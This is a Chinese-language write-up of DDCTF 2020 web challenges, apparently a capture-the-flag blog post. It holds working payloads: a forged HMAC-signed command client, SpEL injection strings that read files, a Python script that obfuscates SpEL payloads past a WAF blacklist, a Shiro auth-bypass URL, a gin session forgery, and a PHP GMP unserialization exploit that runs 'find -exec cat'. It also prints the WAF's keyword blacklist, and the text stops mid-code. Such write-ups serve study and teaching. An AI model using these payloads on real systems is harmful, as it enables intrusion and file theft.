主頁 >  其他 > DDCTF 2020 Web WP

DDCTF 2020 Web WP

2020-09-10 07:32:11 其他

Go實乃知識盲區

這是一篇復現記錄,部分思路參考了如下鏈接,贊美師傅wywwtwx

參考:DDCTF 2020 Writeup - 安全客,安全資訊平臺



Web簽到題

在這里插入圖片描述

前面的相信大家都懂,是JWT爆破,但還是梳理一下


根據提示在用POST傳參可以拿到JWT


在這里插入圖片描述


在拿去爆破后可得到Secret值(似乎是你的用戶名,然后群里有師傅用戶名亂輸然后沒爆破出來,,)

爆破工具是c-jwt-cracker(需要的自取)

爆破拿到key后去網站https://jwt.io 篡改JWT,而后再次提交

在這里插入圖片描述


就可以拿到client,自此第一關結束,


第二關是需要在client中構造合法的sign值
在這里插入圖片描述

這里可以逆向演算法后寫腳本,也可以patch,我選的是第一個路子,這塊做完后就徹底卡住了


參考:
https://www.anquanke.com/post/id/170332
https://www.anquanke.com/post/id/85694
https://www.jianshu.com/p/7d006f2b4414


關于演算法的逆向:


七分逆向三分猜,作為一個Web分類下的題,出題人必然不會在Re上卡我們,剛好我同時算半個Re選手,順便記錄一下當時的心路歷程,


當時還不太知道有IDA的Golang插件,不過也是搞了出來,現在順便加上,看起來也舒服些

https://github.com/sibears/IDAGolangHelper



首先找到我們的關鍵getSign函式(沒有插件可以用老方法String)

__int64 __fastcall main_getSign(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int128 a7, __int64 a8)
{
  __int64 v8; // rcx
  __int64 v9; // rdx
  __int64 v10; // r8
  __int64 v11; // rax
  __int64 v12; // rcx
  __int64 v13; // rbx
  __int64 v14; // rdx
  __int64 v15; // r8
  __int64 v16; // r9
  __int64 v17; // rax
  __int64 v18; // rcx
  __int64 v19; // rbx
  __int64 v20; // rdx
  __int64 v21; // r8
  __int64 v22; // r9
  __int64 v23; // rdx
  __int64 v24; // r8
  __int64 v25; // r9
  __int64 v26; // rdx
  __int64 v27; // r8
  __int64 v28; // r9
  __int64 v29; // rdx
  __int64 v30; // rdx
  __int64 v31; // rcx
  __int64 v32; // r8
  __int64 v33; // r9
  __int64 v34; // rdx
  __int64 v35; // r8
  __int64 v36; // rdx
  __int64 v37; // r8
  __int64 v38; // rax
  __int64 v39; // rcx
  __int64 v40; // rbx
  __int64 v41; // rdx
  __int64 v42; // r8
  __int64 v43; // rax
  __int64 v44; // rcx
  __int64 v45; // rbx
  __int64 v46; // rdx
  __int64 v47; // r8
  __int64 v48; // r9
  __int64 v49; // rax
  __int64 v50; // rcx
  __int64 v51; // rbx
  __int64 (__fastcall **v53)(__int64, __int64); // [rsp+0h] [rbp-148h]
  __int128 v54; // [rsp+8h] [rbp-140h]
  __m256i v55; // [rsp+18h] [rbp-130h]
  __int64 v56; // [rsp+38h] [rbp-110h]
  __int128 v57; // [rsp+40h] [rbp-108h]
  const char *v58; // [rsp+50h] [rbp-F8h]
  __int64 v59; // [rsp+58h] [rbp-F0h]
  __int128 v60; // [rsp+60h] [rbp-E8h]
  __int64 v61; // [rsp+70h] [rbp-D8h]
  __int64 v62; // [rsp+78h] [rbp-D0h]
  __int128 v63; // [rsp+80h] [rbp-C8h]
  __int128 v64; // [rsp+90h] [rbp-B8h]
  __int128 v65; // [rsp+A0h] [rbp-A8h]
  __int128 v66; // [rsp+B0h] [rbp-98h]
  __int64 v67; // [rsp+C0h] [rbp-88h]
  __int64 *v68; // [rsp+C8h] [rbp-80h]
  __int128 v69; // [rsp+D0h] [rbp-78h]
  __int128 v70; // [rsp+E0h] [rbp-68h]
  __int64 v71; // [rsp+F0h] [rbp-58h]
  __int64 v72; // [rsp+F8h] [rbp-50h]
  __int64 v73; // [rsp+100h] [rbp-48h]
  __int64 v74; // [rsp+108h] [rbp-40h]
  __int64 v75; // [rsp+110h] [rbp-38h]
  __int64 v76; // [rsp+118h] [rbp-30h]
  __int64 v77; // [rsp+120h] [rbp-28h]
  __int64 v78; // [rsp+128h] [rbp-20h]
  __int64 v79; // [rsp+130h] [rbp-18h]
  __int64 v80; // [rsp+138h] [rbp-10h]
  __int64 v81; // [rsp+140h] [rbp-8h]

  while ( 1 )
  {
    v8 = __readfsqword(0xFFFFFFF8);
    if ( (unsigned __int64)&v63 > *(_QWORD *)(v8 + 16) )
      break;
    runtime_morestack_noctxt(a1, a2);
  }
  v65 = a7;
  v56 = a8;
  v72 = 0LL;
  v73 = 0LL;
  v74 = 0LL;
  v75 = 0LL;
  if ( &v53 == (__int64 (__fastcall ***)(__int64, __int64))-248LL )
    LODWORD(v72) = (unsigned __int64)&v63;
  *(_QWORD *)&v69 = 2LL;
  *((_QWORD *)&v69 + 1) = 2LL;
  v68 = &v72;
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
  v54 = (unsigned __int64)&v65;
  runtime_convT2E(a1, a2, a3, v8, a5);
  v11 = v55.m256i_i64[1];
  v12 = v55.m256i_i64[0];
  v13 = (__int64)v68;
  v61 = v55.m256i_i64[0];
  *v68 = v55.m256i_i64[0];
  v62 = v11;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v13 + 8);
    *(_QWORD *)&v54 = v11;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v13 + 8) = v11;
  }
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_69EDC0;
  v54 = (unsigned __int64)&v56;
  runtime_convT2E(a1, a2, v9, v12, v10);
  v17 = v55.m256i_i64[1];
  v18 = v55.m256i_i64[0];
  v19 = (__int64)(v68 + 2);
  v61 = v55.m256i_i64[0];
  v68[2] = v55.m256i_i64[0];
  v62 = v17;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v19 + 8);
    *(_QWORD *)&v54 = v17;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v19 + 8) = v17;
  }
  *(_QWORD *)&v54 = 5LL;
  *((_QWORD *)&v54 + 1) = v68;
  *(_OWORD *)v55.m256i_i8 = v69;
  fmt_Sprintf(a1, a2, v14, v18, v15, v16, (__int64)"%s|%d");
  v53 = 0LL;
  v64 = *(_OWORD *)&v55.m256i_u64[2];
  v54 = *(_OWORD *)&v55.m256i_u64[2];
  runtime_stringtoslicebyte(a1, a2, v20, v55.m256i_i64[2], v21, v22);
  v66 = *(_OWORD *)v55.m256i_i8;
  v67 = v55.m256i_i64[2];
  v53 = 0LL;
  v58 = "DDCTFWithYou";
  *(_QWORD *)&v54 = "DDCTFWithYou";
  v59 = 12LL;
  *((_QWORD *)&v54 + 1) = 12LL;
  runtime_stringtoslicebyte(a1, a2, v23, (__int64)"DDCTFWithYou", v24, v25);
  v26 = v55.m256i_i64[0];
  v53 = off_827EE0;
  v70 = *(_OWORD *)v55.m256i_i8;
  v54 = *(_OWORD *)v55.m256i_i8;
  v71 = v55.m256i_i64[2];
  v55.m256i_i64[0] = v55.m256i_i64[2];
  crypto_hmac_New(a1, a2, v26, v55.m256i_i64[1], v27, v28);
  v54 = v66;
  v55.m256i_i64[0] = v67;
  v53 = (__int64 (__fastcall **)(__int64, __int64))v55.m256i_i64[2];
  v60 = *(_OWORD *)&v55.m256i_u64[1];
  (*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v55.m256i_i64[1] + 64))(a1, a2, v29, v55.m256i_i64[1]);
  v54 = 0uLL;
  v55.m256i_i64[0] = 0LL;
  v53 = (__int64 (__fastcall **)(__int64, __int64))*((_QWORD *)&v60 + 1);
  (*(void (__cdecl **)(__int64, __int64, __int64, __int64))(v60 + 56))(a1, a2, v30, v31);
  v53 = (__int64 (__fastcall **)(__int64, __int64))qword_946330;
  v70 = *(_OWORD *)&v55.m256i_u64[1];
  v54 = *(_OWORD *)&v55.m256i_u64[1];
  v71 = v55.m256i_i64[3];
  v55.m256i_i64[0] = v55.m256i_i64[3];
  encoding_base64__ptr_Encoding_EncodeToString(a1, a2, v55.m256i_i64[1], v55.m256i_i64[2], v32, v33);
  v57 = *(_OWORD *)&v55.m256i_u64[1];
  v65 = *(_OWORD *)&v55.m256i_u64[1];
  v63 = a7;
  v56 = a8;
  v76 = 0LL;
  v77 = 0LL;
  v78 = 0LL;
  v79 = 0LL;
  v80 = 0LL;
  v81 = 0LL;
  if ( &v53 == (__int64 (__fastcall ***)(__int64, __int64))-280LL )
    LODWORD(v76) = v55.m256i_i32[4];
  *(_QWORD *)&v69 = 3LL;
  *((_QWORD *)&v69 + 1) = 3LL;
  v68 = &v76;
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
  v54 = (unsigned __int64)&v65;
  runtime_convT2E(a1, a2, v34, v55.m256i_i64[1], v35);
  v38 = v55.m256i_i64[1];
  v39 = v55.m256i_i64[0];
  v40 = (__int64)v68;
  v61 = v55.m256i_i64[0];
  *v68 = v55.m256i_i64[0];
  v62 = v38;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v40 + 8);
    *(_QWORD *)&v54 = v38;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v40 + 8) = v38;
  }
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_6A1040;
  v54 = (unsigned __int64)&v63;
  runtime_convT2E(a1, a2, v36, v39, v37);
  v43 = v55.m256i_i64[1];
  v44 = v55.m256i_i64[0];
  v45 = (__int64)(v68 + 2);
  v61 = v55.m256i_i64[0];
  v68[2] = v55.m256i_i64[0];
  v62 = v43;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v45 + 8);
    *(_QWORD *)&v54 = v43;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v45 + 8) = v43;
  }
  v53 = (__int64 (__fastcall **)(__int64, __int64))&unk_69EDC0;
  v54 = (unsigned __int64)&v56;
  runtime_convT2E(a1, a2, v41, v44, v42);
  v49 = v55.m256i_i64[1];
  v50 = v55.m256i_i64[0];
  v51 = (__int64)(v68 + 4);
  v61 = v55.m256i_i64[0];
  v68[4] = v55.m256i_i64[0];
  v62 = v49;
  if ( byte_963800 )
  {
    v53 = (__int64 (__fastcall **)(__int64, __int64))(v51 + 8);
    *(_QWORD *)&v54 = v49;
    runtime_writebarrierptr(a1, a2);
  }
  else
  {
    *(_QWORD *)(v51 + 8) = v49;
  }
  *(_QWORD *)&v54 = 41LL;
  *((_QWORD *)&v54 + 1) = v68;
  *(_OWORD *)v55.m256i_i8 = v69;
  return log_Printf(a1, a2, v46, v50, v47, v48, (__int64)"[+]get sign:%s, command:%s, time_stamp:%d");
}

可以看到有一個很顯眼的DDCTFWithYou,還有就是這個

crypto_hmac_New(a1, a2, v26, v55.m256i_i64[1], v27, v28);

crypto_hmac_New這個一出來應該很多人都明白是啥了,先初步猜測這是我們的HmacSHA256(奇怪的是FindCrypt沒識別出來),而這個DDCTFWithYou十有八九就是我們的秘鑰


剛好題目還給了我們簽名的格式,我們試驗一下
得到的sign值為jI6DSECGAyzSs5t5wljIxgp8aBN4SmgzagxSvsv/y3w=,這是經過base64encode的,我們將其解碼:
在這里插入圖片描述


然后明文加密后(記得引號):


在這里插入圖片描述


一樣的,至此我們的作業結束,貼原WP的腳本:

package main

import (
    "bytes"
    "io/ioutil"
    "net/http"

    "crypto/hmac"
    "crypto/sha256"
    "encoding/base64"
    "encoding/json"
    "time"

    "github.com/gin-gonic/gin"
)

type Param struct {
    Command   string `json:"command"`
    Signature string `json:"signature"`
    Timestamp int64  `json:"timestamp"`
}

func main() {
    r := gin.Default()

    r.POST("/", func(c *gin.Context) {
        command := c.DefaultPostForm("command", "DDCTF")
        key := "DDCTFWithYou"

        timestamp := time.Now().Unix()
        plain := fmt.Sprintf("%s|%d", command, timestamp)
        mac := hmac.New(sha256.New, []byte(key))
        mac.Write([]byte(plain))

        param := new(Param)
        param.Command = command
        param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
        param.Timestamp = timestamp
        js, _ := json.Marshal(param)

        url := "http://117.51.136.197/server/command"
        resp, err := http.Post(url, "application/json", bytes.NewBuffer(js))
        if err != nil {
            panic(err)
        }
        defer resp.Body.Close()
        body, _ := ioutil.ReadAll(resp.Body)
        c.String(http.StatusOK, string(body))
    })

    r.Run(":2333")
}

至此,第二關完成, 接下來是最后一關,

最后一關是需要尋找可用payload,是spel注入,也算是SSTI的一種,

參考:
https://www.cnblogs.com/poing/p/12837175.html
https://www.mi1k7ea.com/2020/01/10/SpEL運算式注入漏洞總結/

原WP師傅的腳本是另外起了一個埠用來測驗命令,我那個找不到的腳本command是直接嵌到代碼里了,這個好像更方便一些


貼原WP的Payload,當時好像測過這個payload但好像失敗了,,不知道咋回事,然后就卡在這一步了


new java.util.Scanner(new java.io.File(’/home/dc2-user/flag/flag.txt’)).next()
圖片來自原WP
于是可以直接讀flag(xmsl)




卡片商店

這題比賽結束后5分鐘做出來了,,好氣啊


在這里插入圖片描述

這題一開始以為是條件競爭漏洞,然后寫了腳本測了半天,無果,

然后測驗發現有整數溢位漏洞(這個也算是購物相關的網站中比較常出現的一個漏洞了,可惜當時一根筋測條件競爭去了,要不還能快點給后面留時間)


在這里插入圖片描述

執行結果:


在這里插入圖片描述


再換掉賬面上借的卡片后可以買禮物(這里注意整個程序手速要快,有時間限制)
在這里插入圖片描述


這個seckey一般就是secretkey,好不好這題剛好有個session:
在這里插入圖片描述


于是我們可以考慮這個seckey就是用來生成session的,


回過頭來,直接訪問flag,我們會得到資訊
在這里插入圖片描述


合理推測我們需要偽造session來通過驗證拿flag
之前由于出現過Go了,我們考慮gin-session(沒get到杜松子酒是gin,跑偏整到Flask那邊去了)
參考:https://www.tizi365.com/archives/288.html


現在問題是我們需要偽造哪個欄位呢?gin的session我做題時沒找到太好的還原方法(原WP最后師傅貼了還原的方法),只能base64解密看看了,一番嘗試后得到:
在這里插入圖片描述

這個方法肯定是有問題的,但也能看出一些資訊,這個session的方式應該是 timestamp|Go的encode資料|校驗(也可能是簽名啥的) 這樣的方式,我們也可以看到一個bool型別的admin欄位,我們的目標就是它,


貼過來代碼:

package main

import (
        // 匯入session包
	"github.com/gin-contrib/sessions"
       // 匯入session存盤引擎
	"github.com/gin-contrib/sessions/cookie"
        // 匯入gin框架包
	"github.com/gin-gonic/gin"
)

func main() {
	r := gin.Default()
        // 創建基于cookie的存盤引擎,secret11111 引數是用于加密的密鑰,這里填入我們的seckey
	store := cookie.NewStore([]byte("secret11111"))
        // 設定session中間件,引數mysession,指的是session的名字,也是cookie的名字
       // store是前面創建的存盤引擎,我們可以替換成其他存盤引擎
	r.Use(sessions.Sessions("mysession", store))

	r.GET("/hello", func(c *gin.Context) {
                // 初始化session物件
		session := sessions.Default(c)
                
                // 通過session.Get讀取session值
                // session是鍵值對格式資料,因此需要通過key查詢資料
		if session.Get("hello") != "world" {
                        // 設定session資料
			session.Set("hello", "world")
                        // 洗掉session資料
                        //session.Delete("tizi365")
                        // 保存session資料
			session.Save()
                        // 洗掉整個session
                        // session.Clear()
		}
                
		c.JSON(200, gin.H{"hello": session.Get("hello")})
	})
	r.Run(":8000")
}

稍作改動即可


if session.Get("hello") != "world" {
                        // 設定session資料
			session.Set("hello", "world")
                        // 洗掉session資料
                        //session.Delete("tizi365")
                        // 保存session資料
			session.Save()
                        // 洗掉整個session
                        // session.Clear()
		}

改成

if session.Get("admin") != true {
            session.Set("admin", true)
            session.Save()
        }

即可(記得放你得到的簽名)

這里是測驗過后發現這樣就行的,原本還在后面那塊和timestamp那糾結了好久,,后來發現并不需要

拿到session

在這里插入圖片描述


替換后拿flag


在這里插入圖片描述



Easy Web

在這里插入圖片描述


這題并不知道有這個:CVE-2020-11989
這個CVE前幾天還看過,差點沒反應過來,,
參考:https://xz.aliyun.com/t/7964


但訪問

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/index.php

就行(但后面還是要用這個CVE繞進admin界面)

進入界面,這個莫名其妙的圖片實在是太顯眼了,本能地察覺有問題
在這里插入圖片描述


SSRF,然后用fuzzDict中的字典跑了一下,可以讀到WEB-INF/web.xml:


http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/web.xml


<!DOCTYPE web-app PUBLIC
        "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
        "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
         version="3.0" metadata-complete="false">

  <display-name>Archetype Created Web Application</display-name>

  <context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>
      classpath:spring-core.xml
    </param-value>
  </context-param>

  <listener>
    <listener-class>org.springframework.web.util.WebAppRootListener</listener-class>
  </listener>

  <listener>
    <listener-class>org.springframework.web.util.IntrospectorCleanupListener</listener-class>
  </listener>

  <listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
  </listener>

  <servlet>
    <servlet-name>springmvc</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
      <param-name>contextConfigLocation</param-name>
      <param-value>classpath:spring-web.xml</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>springmvc</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>

  <filter>
    <filter-name>encodingFilter</filter-name>
    <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    <init-param>
      <param-name>encoding</param-name>
      <param-value>UTF-8</param-value>
    </init-param>
    <init-param>
      <param-name>forceEncoding</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>

  <filter-mapping>
    <filter-name>encodingFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

  <filter>
    <filter-name>safeFilter</filter-name>
    <filter-class>com.ctf.util.SafeFilter</filter-class>
  </filter>

  <filter-mapping>
    <filter-name>safeFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

  <filter>
    <filter-name>shiroFilter</filter-name>
    <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    <init-param>
      <param-name>targetFilterLifecycle</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>

  <filter-mapping>
    <filter-name>shiroFilter</filter-name>
    <url-pattern>/*</url-pattern>
  </filter-mapping>

  <error-page>
    <error-code>500</error-code>
    <location>/error.jsp</location>
  </error-page>

  <error-page>
    <error-code>404</error-code>
    <location>/hacker.jsp</location>
  </error-page>

  <error-page>
    <error-code>403</error-code>
    <location>/hacker.jsp</location>
  </error-page>

</web-app>

經典的Spring框架,知道這個對其實我們其實可以直接把大部分代碼讀出來了,
Spring是一個MVC框架,故讀出來的檔案中我們需要重點關注的是Controller控制層的代碼
根據目前的情況,我們需要尋找能夠幫助我們成為admin的資訊


一番翻找后,在 /WEB-INF/classes/spring-shiro.xml 中有:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">

        <property name="securityManager" ref="securityManager"/>

        <property name="loginUrl" value="/login"/>

        <property name="successUrl" value="/index"/>

        <property name="unauthorizedUrl" value="/unauthorized"/>

        <property name="filterChainDefinitionMap" ref="filterChainDefinitionMap"/>
    </bean>

    <bean id="filterChainDefinitionMap" factory-bean="filterChainDefinitionMapBuilder" factory-method="buildFilterChainDefinitionMap"/>

    <bean id="filterChainDefinitionMapBuilder" class="com.ctf.auth.FilterChainDefinitionMapBuilder"/>


    <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
        <property name="realm" ref="myRealm"/>
    </bean>


    <bean id="myRealm" class="com.ctf.auth.ShiroRealm">

    </bean>

</beans>

其下的 /WEB-INF/classes/com/ctf/auth/FilterChainDefinitionMapBuilder.class 中可以看到

package com.ctf.auth;

import java.util.*;

public class FilterChainDefinitionMapBuilder
{
    public LinkedHashMap<String, String> buildFilterChainDefinitionMap() {
        final LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
        map.put("/logout", "logout");
        map.put("/index", "authc");
        map.put("/download", "authc");
        map.put("/68759c96217a32d5b368ad2965f625ef/**", "authc,roles[admin]");
        return map;
    }
}

于是使用CVE繞過

http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index

進入admin界面
在這里插入圖片描述


后面就是繞WAF做SpE注入L,WAF在 WEB-INF/classes/com/ctf/util/SafeFilter.class 中

package com.ctf.util;

import javax.servlet.*;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class SafeFilter implements Filter {
    private static final String[] blacklists = {"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
    private final String encoding = "UTF-8";

    public void init(FilterConfig arg0) throws ServletException {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
            throws IOException, ServletException {
        request.setCharacterEncoding("UTF-8");
        response.setCharacterEncoding("UTF-8");
        Enumeration pNames = request.getParameterNames();
        while (pNames.hasMoreElements()) {
            String name = (String) pNames.nextElement();
            String value = request.getParameter(name);
            for (String blacklist : blacklists) {
                Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
                if (matcher.find()) {
                    HttpServletResponse servletResponse = (HttpServletResponse) response;
                    servletResponse.sendError(403);
                }
            }
        }
        filterChain.doFilter(request, response);
    }

    public void destroy() {
    }
}

后面沒繞出來,貼一下原WP的exp:

import re

import requests
from flask import Flask, request

app = Flask(__name__)


def requestToServer(content):
    content = '[[${{{}}}]]'.format(content)
    url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize'
    response = requests.post(url=url, data={'content': content}).text
    try:
        redirect = re.search('fetch \./(.*) !', response).group(1)
        url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/'
        url += redirect
        return requests.get(url).text
    except Exception as e:
        return str(e) + response


def toForNameOrStr(source, strFlag=False):
    res = 'T(Character).toString(%s)' % ord(source[0])
    for ch in source[1:]:
        res += '.concat(T(Character).toString(%s))' % ord(ch)
    if strFlag:
        return res
    return '0.class. forName({})'.format(res)


@app.route('/', methods=['GET', 'POST'])
def handler():
    content = request.form.get('content')
    dir = request.form.get('dir')
    file = request.form.get('file')

    if dir:
        # 單層:java.util.Arrays.toString(java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray());
        # 遞回:java.util.Arrays.toString(java.nio.file.Files.walk(java.nio.file.Paths.get("/")).toArray());
        listDirPayload = 'T(java.util.Arrays).toString({}.list({}.get({})).toArray())'.format(
            toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(dir, True))
        print(listDirPayload)
        return requestToServer(listDirPayload)

    if file:
        # java.nio.file.Files.lines(java.nio.file.Paths.get("/flag")).findFirst().toString()
        catFilePaylod = '{}.lines({}.get({})).findFirst().toString()'.format(
            toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(file, True))
        print(catFilePaylod)
        return requestToServer(catFilePaylod)

    return requestToServer(content)


if __name__ == '__main__':
    app.run(debug=True)

看了看還有另外的思路是使用UrlClassLoader的

見 https://blog.play2win.top/2020/09/07/DDCTF2020_WEB_writeup%20/



Overwrite Me

在這里插入圖片描述

直接給了原始碼

<?php
error_reporting(0);

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 1;
    }

    public function get_flag()
    {
        return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
    }
}

class Prompter
{
    protected  $hint;
    public function execute($value)
    {
        include($value);
    }

    public function __invoke()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
        {
            die("Don't Do That!");
        }
        $this->execute($this->hint);
    }
}

class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

class Repeater
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }
}

class Info
{
    function __construct()
    {
        eval('phpinfo();');
    }

}

$show = new Display();
$bullet = $_GET['bullet'];

if(!isset($bullet))
{
    highlight_file(__FILE__);
    die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
    $infos = new Info();
}else
{
    $obstacle = new stdClass;
    $mc = new MyClass();
    $mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
    @unserialize($bullet);
    echo $mc->get_flag();
}

轉了一圈沒啥思路,只能試著讀那個hint.php

<?php

class Prompter
{
    protected  $hint='/hint/hint.php';

    public function execute($value)
    {
        include($value);
    }

    public function __invoke()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
        {
            die("Don't Do That!");
        }
        $this->execute($this->hint);
    }
}

class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

class Repeater
{
    private $cont;
    public $content;
    public function __construct()
    {
        $this->content = array();
    }

    public function __unset($key)
    {
        $func = $this->content;
        return $func();
    }
}

class Info
{
    function __construct()
    {
        eval('phpinfo();');
    }

}

$chain1 = new Display();
$chain2 = new Repeater();
$chain3= new Prompter();

//$chain3->hint = "/hint/hint.php";
$chain2->content=$chain3;
$chain1->page = $chain2;


echo urlencode(serialize($chain1)) ;
//O%3A7%3A%22Display%22%3A2%3A%7Bs%3A8%3A%22contents%22%3Bs%3A14%3A%22%2Fhint%2Fhint.php%22%3Bs%3A4%3A%22page%22%3BO%3A8%3A%22Repeater%22%3A2%3A%7Bs%3A14%3A%22%00Repeater%00cont%22%3BN%3Bs%3A7%3A%22content%22%3BO%3A8%3A%22Prompter%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00hint%22%3Bs%3A10%3A%22.%2Ftest.php%22%3B%7D%7D%7D

然后bullet傳進去后顯示有個 /FlagNeverFall/suffix_flag.php,然而最后利用的是一個include函式,就算include了沒有highlight_file(__FILE__)等我們依然沒有辦法拿到內容,



后面雖然注意到了$kw0ng這個值有些奇怪,以及看起來似乎有用但不知道有啥用的phpinfo ,但依然沒有搜索到有價值的資訊,無奈看WP


然后發現 http://117.51.137.166/hint/hint.php 能直接訪問,,,一時語塞 個人感覺是題目出糊了,應該是反序列化讀 hint/hint.php 來讀 flag 的前半部分的(也有可能是干擾項,如果真是這樣只能怪自己腦洞太小:) )


寫到這里時環境關了,,資訊只能從WP拿了

hint.php:
Good Job! You’ve got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i’ll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!

GMP利用相關的參考:
https://xz.aliyun.com/t/6781
https://bugs.php.net/bug.php?id=70513
https://paper.seebug.org/1267/
https://hackerone.com/reports/198734


大致的利用思路就是如果我們有一個可控的反序列化入口,目標后端PHP安裝了GMP插件,如果我們找到一個可控的__wakeup魔術方法,我們就可以修改反序列化前宣告的物件屬性,并配合場景產生實際的安全問題,

一個可行的exp如下:

<?php

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 1;
    }

    public function get_flag()
    {
        var_dump($this->flag);
        return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
    }
}
class Display
{
    public $contents;
    public $page;
    public function __construct($file='/hint/hint.php')
    {
        $this->contents = $file;
        echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
    }
    public function __toString()
    {
        return $this->contents();
    }

    public function __wakeup()
    {
        $this->page->contents = "POP me! I can give you some hints!";
        unset($this->page->cont);
    }
}

$show = new Display();
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
$inner = 's:1:"3";a:2:{s:4:"flag";s:63:"-iname sth -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}i:1;O:7:"MyClass":1:{s:5:"kw0ng";R:3;}}';
unserialize($exploit);
var_dump($mc);
echo $mc->get_flag();
echo urlencode($exploit);
echo "\n";
?>


這里WP的師傅說不用 GMP 也能打,這里沒太看懂啥意思,Mark一下

<?php

class MyClass {
    var $kw0ng;
    var $flag;
}

class HintClass {
